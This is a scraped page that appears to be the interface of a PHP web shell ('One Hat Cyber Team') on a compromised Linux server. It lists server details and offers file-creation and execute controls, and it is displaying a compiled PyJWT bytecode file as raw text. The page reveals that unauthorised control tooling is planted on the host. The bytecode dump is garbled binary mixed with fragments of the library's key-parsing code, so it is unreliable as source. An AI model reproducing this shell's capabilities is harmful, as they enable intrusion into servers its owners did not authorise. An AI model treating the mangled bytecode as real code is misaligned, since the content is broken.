⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
104.21.96.1
Server:
Linux vmi2315822.contaboserver.net 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
python3
/
dist-packages
/
jwt
/
__pycache__
/
View File Name :
api_jwk.cpython-310.pyc
o �E�`~ � @ sH d dl Z ddlmZ ddlmZmZmZ G dd� d�ZG dd� d�ZdS ) � N� )�get_default_algorithms)�InvalidKeyError� PyJWKError� PyJWKSetErrorc @ sV e Zd Zddd�Zeddd��Zeddd��Zedd � �Zed d� �Z edd � �Z dS )�PyJWKNc C s@ t � | _|| _| j�dd �}|std| j ��|s&t| jt�r&| j�dd �}|s�| j�dd �}|dkrW|dks9|s<d}nI|dkrCd }nB|d krJd}n;|dkrQd }n4td| ��|dkr^d}n'|dkred}n |dkr|srtd| j ��|dkryd}ntd| ��td| ��| j�|�| _| js�td| j ��| j� | j�| _ d S )N�ktyzkty is not found: %s�alg�crv�ECzP-256�ES256zP-384�ES384zP-521�ES512� secp256k1�ES256KzUnsupported crv: %s�RSA�RS256�oct�HS256�OKPzcrv is not found: %s�Ed25519�EdDSAzUnsupported kty: %sz&Unable to find a algorithm for key: %s)r �_algorithms� _jwk_data�getr � isinstance�dict� Algorithmr �from_jwk�key)�self�jwk_data� algorithmr r � r# �-/usr/lib/python3/dist-packages/jwt/api_jwk.py�__init__ sD zPyJWK.__init__c C s t | |�S �N)r )�objr"